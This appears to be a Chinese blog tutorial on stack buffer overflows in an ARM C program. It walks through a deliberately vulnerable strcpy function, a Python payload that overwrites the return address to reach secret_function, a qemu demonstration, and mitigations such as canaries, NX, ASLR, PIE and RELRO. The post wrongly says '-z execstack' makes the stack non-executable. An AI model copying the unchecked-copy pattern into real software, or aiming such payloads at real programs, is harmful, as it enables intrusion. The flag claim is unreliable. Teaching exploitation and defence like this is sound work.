堆栈溢出漏洞:原理、利用与防范

目录

1.什么是堆栈溢出漏洞?

2.漏洞原理

3.漏洞利用

4.防范堆栈溢出漏洞的方法

1). 使用安全的字符串处理函数

2). 增加安全机制

3). 使用 checksec 查看安全机制

5.总结


1.什么是堆栈溢出漏洞?

堆栈溢出漏洞是一种常见的安全漏洞,通常发生在程序使用不安全的字符串处理函数时。当程序尝试将超过预定大小的数据写入栈上分配的内存区域时,就会导致堆栈溢出。这种漏洞可能被攻击者利用,以覆盖返回地址或其他重要数据,从而控制程序的执行流。

2.漏洞原理

让我们通过一个简单的 C 语言示例来说明堆栈溢出漏洞的原理。

#include <stdio.h>
#include <string.h>

void secret_function() {
    printf("You've been hacked!\n");
}

void vulnerable_function(char *input) {
    char buffer[10]; // 定义一个大小为 10 的字符数组
    strcpy(buffer, input); // 不安全的字符串复制
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s <input_string>\n", argv[0]);
        return 1;
    }
    vulnerable_function(argv[1]); // 调用易受攻击的函数
    return 0;
}

将上述代码保存为,vulnerable.c。在这个示例中,vulnerable_function 使用 strcpy 将输入字符串复制到 buffer 中。由于 strcpy 不检查目标缓冲区的大小,如果输入字符串的长度超过 10 个字符,就会导致堆栈溢出。

采用交叉编译器将上述代码进行编译,采用如下命令。

arm-linux-gnueabi-gcc -o vulnerable_program vulnerable.c -fno-stack-protector

截取其中vulnerable_function的汇编代码如下:

.text:0001047C 00 48 2D E9                   PUSH    {R11,LR}
.text:00010480 04 B0 8D E2                   ADD     R11, SP, #4
.text:00010484 18 D0 4D E2                   SUB     SP, SP, #0x18
.text:00010488 18 00 0B E5                   STR     R0, [R11,#src]
.text:0001048C 10 30 4B E2                   SUB     R3, R11, #-dest
.text:00010490 18 10 1B E5                   LDR     R1, [R11,#src]                  ; src
.text:00010494 03 00 A0 E1                   MOV     R0, R3                          ; dest
.text:00010498 A5 FF FF EB                   BL      strcpy
.text:0001049C 00 00 A0 E1                   NOP
.text:000104A0 04 D0 4B E2                   SUB     SP, R11, #4
.text:000104A4 00 88 BD E8                   POP     {R11,PC}
堆栈变化过程

当输入字符串的长度超过 10 字节时,strcpy 将继续写入 buffer 之后的内存区域,可能会覆盖返回地址或其他重要数据。以下是堆栈的变化过程:

函数调用时的堆栈状态

|------------------| <- sp (栈指针)
| 返回地址          | <- 之前的返回地址(main 函数的地址)
|------------------|
| r11 保存的值       | <- 保存的 r11
|------------------|
| buffer[10]       | <- buffer 的空间(10 字节)
|------------------| <- sp - 18 (分配的堆栈空间)
  • 返回地址:保存调用 vulnerable_function 的函数的返回地址。
  • r11 保存的值:保存 r11 的值,以便在函数返回时恢复。
  • buffer:为 buffer 分配了 10 字节的空间。
 调用 strcpy

当执行到 strcpy(buffer, input) 时,如果输入字符串的长度超过 10 字节,堆栈的变化过程如下:

假设输入字符串为 "AAAAAAAAAAAAAA"(16 字节),堆栈状态在调用 strcpy 时会变为:

|------------------| <- sp (栈指针)
| 被覆盖的地址      | <- 被覆盖的返回地址(可能是攻击者指定的地址)
|------------------|
| r11 保存的值      | <- 保存的 r11,被覆盖
|------------------|
| AAAAAAAAAAAAAA   | <- buffer[0-9]
|------------------| <- sp - 18 (分配的堆栈空间)

在这个情况下,返回地址被覆盖为攻击者构造的地址(例如,指向 secret_function 的地址)。因此,当函数返回时,程序将跳转到攻击者指定的位置,而不是返回到原来的调用者。

3.漏洞利用

攻击者可以构造一个特定的输入字符串,使其长度超过目标缓冲区的大小,从而覆盖返回地址并使程序跳转到攻击者控制的代码。例如,攻击者可以使用以下 Python 脚本构造攻击载荷:

import sys

# 构造输入字符串
buffer_size = 10
return_address = b'\x60\x04\x01\x00'  # secret_function 的地址(0x00010460)

# 构造输入字符串
payload = b'A' * (buffer_size+2 +4) + return_address  # 保证4字节对齐,再覆盖保存r11的内存地址,最后覆盖保存lr的内存地址

# 输出字节
sys.stdout.buffer.write(payload)

将上述代码保存为exp.py,secret_function的程序地址可以通过静态分析工具获取,例如IDA。

运行:

python3 exp.py >payload.bin

可生成负载paylod.bin

采用qumu-arm模拟器验证负载是否触发漏洞执行,执行如下代码:

qemu-arm -L /usr/arm-linux-gnueabi ./vulnerable_program `<payload.bin`

打印结果如下:

./vulnerable_program `<payload.bin`
bash: 警告: 命令替换:忽略输入中的 null 字节
You've been hacked!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
段错误 (核心已转储)

说明执行了secret_function函数。

4.防范堆栈溢出漏洞的方法

为了防止堆栈溢出漏洞,可以采取以下几种措施:

1). 使用安全的字符串处理函数

使用安全的字符串处理函数,如 strncpysnprintf,可以防止缓冲区溢出。例如,使用 strncpy 时可以指定最大复制长度:

strncpy(buffer, input, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0'; // 确保字符串以 NULL 结尾

2). 增加安全机制

在编译过程中,可以启用多种安全机制来增强程序的防护能力:

  • 堆栈保护:使用 -fstack-protector 编译选项,可以在函数中插入金丝雀值,以检测堆栈溢出。当前的新版本gcc已经默认开启了堆栈保护功能。

        增加该机制后,重新编译上述程序的汇编代码如下:

.text:00010518 00 48 2D E9                   PUSH    {R11,LR}
.text:0001051C 04 B0 8D E2                   ADD     R11, SP, #4
.text:00010520 18 D0 4D E2                   SUB     SP, SP, #0x18
.text:00010524 18 00 0B E5                   STR     R0, [R11,#src]

;下面这段代码加载堆栈金丝雀值(stack canary)并将其存储在栈帧中的某个位置。这是堆栈保护机制的关键部分。
---------------------------------------------------------------------------------------
.text:00010528 40 30 9F E5                   LDR     R3, =off_1065C
.text:0001052C 00 30 93 E5                   LDR     R3, [R3]                        ; __stack_chk_guard__GLIBC_2.4
.text:00010530 08 30 0B E5                   STR     R3, [R11,#var_8]
----------------------------------------------------------------------------------------


.text:00010534 00 30 A0 E3                   MOV     R3, #0
.text:00010538 14 30 4B E2                   SUB     R3, R11, #-dest
.text:0001053C 18 10 1B E5                   LDR     R1, [R11,#src]                  ; src
.text:00010540 03 00 A0 E1                   MOV     R0, R3                          ; dest
.text:00010544 A1 FF FF EB                   BL      strcpy
.text:00010544
.text:00010548 00 00 A0 E1                   NOP

;下面这一段代码检查堆栈金丝雀值是否被篡改。如果金丝雀值被修改(即发生了堆栈溢出),程序将调用 __stack_chk_fail 函数,通常会导致程序崩溃并输出错误信息。
----------------------------------------------------------------------------------------
.text:0001054C 1C 30 9F E5                   LDR     R3, =off_1065C
.text:00010550 00 20 93 E5                   LDR     R2, [R3]                        ; __stack_chk_guard__GLIBC_2.4
.text:00010554 08 30 1B E5                   LDR     R3, [R11,#var_8]
.text:00010558 02 20 33 E0                   EORS    R2, R3, R2
.text:0001055C 00 30 A0 E3                   MOV     R3, #0
.text:00010560 00 00 00 0A                   BEQ     loc_10568
.text:00010560
.text:00010564 96 FF FF EB                   BL      __stack_chk_fail
----------------------------------------------------------------------------------------



.text:00010564
.text:00010568                               ; ---------------------------------------------------------------------------
.text:00010568
.text:00010568                               loc_10568                               ; CODE XREF: vulnerable_function+48↑j
.text:00010568 04 D0 4B E2                   SUB     SP, R11, #4
.text:0001056C 00 88 BD E8                   POP     {R11,PC}

这部分原理介绍在我之前的文章最简单的STM32库函数HAL_GPIO_ReadPin的汇编代码分析_stm32gpio汇编-CSDN也有提及,感兴趣的读者可以访问一下。

  • 不可执行堆栈:gcc编译时使用 -z execstack 选项可以将堆栈标记为不可执行,防止在堆栈上运行恶意代码。工作原理: 不可执行堆栈(NX)标记防止在堆栈上执行代码。即使攻击者成功将恶意代码写入堆栈,试图通过堆栈溢出来执行该代码也会失败,因为堆栈被标记为不可执行。

  • 地址空间布局随机化(ASLR):虽然 ASLR 通常在操作系统级别启用,但确保它被启用可以增加攻击的难度。工作原理: ASLR 随机化程序、库、堆和栈的内存地址,使得攻击者难以预测目标地址。即使攻击者能够利用堆栈溢出漏洞,随机化的地址会使得攻击变得复杂和困难。

  • 位置无关执行(PIE):使用 -fPIE-pie 选项生成位置无关的可执行文件。工作原理:位置无关执行(PIE)使得可执行文件在运行时随机化其加载地址。攻击者无法预测代码的确切位置,从而降低了利用漏洞的成功率。

  • 完整性保护(RELRO):使用 -Wl,-z,relro-Wl,-z,now 选项来启用全局变量和函数指针的完整性保护。工作原理: 完整性保护(RELRO)防止在程序运行时修改全局变量和函数指针。通过将数据段标记为只读,攻击者无法通过修改全局变量来实现控制,从而提高了程序的安全性。

3). 使用 checksec 查看安全机制

checksec 是一个用于检查可执行文件安全特性的工具。可以使用它来查看编译的程序是否启用了上述安全机制。

checksec --fortify-file ./vulnerable_program

5.总结

堆栈溢出漏洞是一种严重的安全风险,攻击者可以利用它来控制程序的执行流。通过使用安全的字符串处理函数和启用多种安全机制,可以有效地防止此类漏洞的发生。定期使用工具如 checksec 来检查程序的安全特性,将有助于提高系统的整体安全

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值